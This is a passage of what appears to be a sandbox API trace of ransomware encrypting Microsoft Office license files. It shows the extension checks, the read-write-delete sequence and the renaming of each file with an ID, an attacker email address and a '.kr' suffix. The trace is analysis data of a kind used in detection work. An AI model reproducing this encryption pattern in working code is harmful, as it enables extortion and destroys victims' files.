[0192.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0192.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0192.918] lstrlenW (lpString=".doc") returned 4 [0192.918] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.918] lstrlenW (lpString=".docx") returned 5 [0192.918] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.918] lstrlenW (lpString=".pdf") returned 4 [0192.918] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.919] lstrlenW (lpString=".xls") returned 4 [0192.919] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.919] lstrlenW (lpString=".xlsx") returned 5 [0192.919] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.919] lstrlenW (lpString=".ppt") returned 4 [0192.919] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0192.919] lstrlenW (lpString=".zip") returned 4 [0192.919] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.919] lstrlenW (lpString=".rar") returned 4 [0192.919] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.919] lstrlenW (lpString=".bz2") returned 4 [0192.919] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.919] lstrlenW (lpString=".7z") returned 3 [0192.919] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0192.919] lstrlenW (lpString=".dbf") returned 4 [0192.919] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0192.919] lstrlenW (lpString=".1cd") returned 4 [0192.919] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0192.919] lstrlenW (lpString=".jpg") returned 4 [0192.919] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0192.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0192.920] lstrlenW (lpString=".doc") returned 4 [0192.920] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.920] lstrlenW (lpString=".docx") returned 5 [0192.920] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.920] lstrlenW (lpString=".pdf") returned 4 [0192.920] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.920] lstrlenW (lpString=".xls") returned 4 [0192.920] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.920] lstrlenW (lpString=".xlsx") returned 5 [0192.920] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.920] lstrlenW (lpString=".ppt") returned 4 [0192.920] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0192.920] lstrlenW (lpString=".zip") returned 4 [0192.920] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.920] lstrlenW (lpString=".rar") returned 4 [0192.920] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.920] lstrlenW (lpString=".bz2") returned 4 [0192.920] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.920] lstrlenW (lpString=".7z") returned 3 [0192.920] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0192.920] lstrlenW (lpString=".dbf") returned 4 [0192.920] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0192.920] lstrlenW (lpString=".1cd") returned 4 [0192.920] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0192.920] lstrlenW (lpString=".jpg") returned 4 [0192.920] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.921] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0192.921] lstrlenW (lpString="AccessR_Trial-ul-oob.xrm-ms") returned 27 [0192.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0192.921] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11591) returned 1 [0192.921] CloseHandle (hObject=0x53c) returned 1 [0192.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 0x220 [0192.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0192.922] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.922] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0192.923] GetLastError () returned 0x0 [0192.923] ReadFile (in: hFile=0x53c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d47, lpOverlapped=0x0) returned 1 [0192.930] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0192.932] ReadFile (in: hFile=0x53c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0192.932] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10a, lpOverlapped=0x0) returned 1 [0192.932] SetEndOfFile (hFile=0x450) returned 1 [0192.932] CloseHandle (hObject=0x450) returned 1 [0192.932] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.932] SetEndOfFile (hFile=0x53c) returned 1 [0192.935] CloseHandle (hObject=0x53c) returned 1 [0192.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 1 [0192.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0192.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0192.936] lstrlenW (lpString=".doc") returned 4 [0192.936] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.936] lstrlenW (lpString=".docx") returned 5 [0192.936] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.936] lstrlenW (lpString=".pdf") returned 4 [0192.936] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.936] lstrlenW (lpString=".xls") returned 4 [0192.936] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.936] lstrlenW (lpString=".xlsx") returned 5 [0192.936] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.936] lstrlenW (lpString=".ppt") returned 4 [0192.936] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0192.937] lstrlenW (lpString=".zip") returned 4 [0192.937] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.937] lstrlenW (lpString=".rar") returned 4 [0192.937] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.937] lstrlenW (lpString=".bz2") returned 4 [0192.937] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.937] lstrlenW (lpString=".7z") returned 3 [0192.937] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0192.937] lstrlenW (lpString=".dbf") returned 4 [0192.937] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0192.937] lstrlenW (lpString=".1cd") returned 4 [0192.937] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0192.937] lstrlenW (lpString=".jpg") returned 4 [0192.937] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0192.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0192.937] lstrlenW (lpString=".doc") returned 4 [0192.937] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.937] lstrlenW (lpString=".docx") returned 5 [0192.937] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.937] lstrlenW (lpString=".pdf") returned 4 [0192.937] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.937] lstrlenW (lpString=".xls") returned 4 [0192.937] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.937] lstrlenW (lpString=".xlsx") returned 5 [0192.937] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.938] lstrlenW (lpString=".ppt") returned 4 [0192.938] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0192.938] lstrlenW (lpString=".zip") returned 4 [0192.938] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.938] lstrlenW (lpString=".rar") returned 4 [0192.938] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.938] lstrlenW (lpString=".bz2") returned 4 [0192.938] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.938] lstrlenW (lpString=".7z") returned 3 [0192.938] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0192.938] lstrlenW (lpString=".dbf") returned 4 [0192.938] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0192.938] lstrlenW (lpString=".1cd") returned 4 [0192.938] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0192.938] lstrlenW (lpString=".jpg") returned 4 [0192.938] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.938] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0192.939] lstrlenW (lpString="AccessVL_KMS_Client-ppd.xrm-ms") returned 30 [0192.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0192.939] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=6794) returned 1 [0192.939] CloseHandle (hObject=0x53c) returned 1 [0192.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 0x220 [0192.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0192.940] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.940] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0192.941] GetLastError () returned 0x0 [0192.941] ReadFile (in: hFile=0x53c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x1a8a, lpOverlapped=0x0) returned 1 [0192.958] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x1a90, lpOverlapped=0x0) returned 1 [0192.959] ReadFile (in: hFile=0x53c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0192.959] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x110, lpOverlapped=0x0) returned 1 [0192.959] SetEndOfFile (hFile=0x450) returned 1 [0192.959] CloseHandle (hObject=0x450) returned 1 [0192.960] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.960] SetEndOfFile (hFile=0x53c) returned 1 [0192.965] CloseHandle (hObject=0x53c) returned 1 [0192.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 1 [0192.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0192.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0192.970] lstrlenW (lpString=".doc") returned 4 [0192.970] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.970] lstrlenW (lpString=".docx") returned 5 [0192.970] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.970] lstrlenW (lpString=".pdf") returned 4 [0192.970] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.970] lstrlenW (lpString=".xls") returned 4 [0192.970] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.970] lstrlenW (lpString=".xlsx") returned 5 [0192.970] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.970] lstrlenW (lpString=".ppt") returned 4 [0192.970] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0192.971] lstrlenW (lpString=".zip") returned 4 [0192.971] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.971] lstrlenW (lpString=".rar") returned 4 [0192.971] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.971] lstrlenW (lpString=".bz2") returned 4 [0192.971] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.971] lstrlenW (lpString=".7z") returned 3 [0192.971] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0192.971] lstrlenW (lpString=".dbf") returned 4 [0192.971] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0192.971] lstrlenW (lpString=".1cd") returned 4 [0192.971] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0192.971] lstrlenW (lpString=".jpg") returned 4 [0192.971] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0192.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0192.971] lstrlenW (lpString=".doc") returned 4 [0192.971] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.971] lstrlenW (lpString=".docx") returned 5 [0192.971] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.971] lstrlenW (lpString=".pdf") returned 4 [0192.971] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.971] lstrlenW (lpString=".xls") returned 4 [0192.971] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.972] lstrlenW (lpString=".xlsx") returned 5 [0192.972] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.972] lstrlenW (lpString=".ppt") returned 4 [0192.972] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0192.972] lstrlenW (lpString=".zip") returned 4 [0192.972] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.972] lstrlenW (lpString=".rar") returned 4 [0192.972] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.972] lstrlenW (lpString=".bz2") returned 4 [0192.972] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.972] lstrlenW (lpString=".7z") returned 3 [0192.972] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0192.972] lstrlenW (lpString=".dbf") returned 4 [0192.972] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0192.972] lstrlenW (lpString=".1cd") returned 4 [0192.972] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0192.972] lstrlenW (lpString=".jpg") returned 4 [0192.972] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.972] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0192.972] lstrlenW (lpString="AccessVL_KMS_Client-ul.xrm-ms") returned 29 [0192.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0192.974] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=9606) returned 1 [0192.974] CloseHandle (hObject=0x370) returned 1 [0192.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 0x220 [0192.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0192.975] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.975] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0192.975] GetLastError () returned 0x0 [0192.975] ReadFile (in: hFile=0x370, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2586, lpOverlapped=0x0) returned 1 [0192.979] WriteFile (in: hFile=0x53c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2590, lpOverlapped=0x0) returned 1 [0192.980] ReadFile (in: hFile=0x370, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0192.980] WriteFile (in: hFile=0x53c, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10e, lpOverlapped=0x0) returned 1 [0192.980] SetEndOfFile (hFile=0x53c) returned 1 [0193.372] CloseHandle (hObject=0x53c) returned 1 [0193.372] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.372] SetEndOfFile (hFile=0x370) returned 1 [0193.375] CloseHandle (hObject=0x370) returned 1 [0193.375] SetFileAttributesW 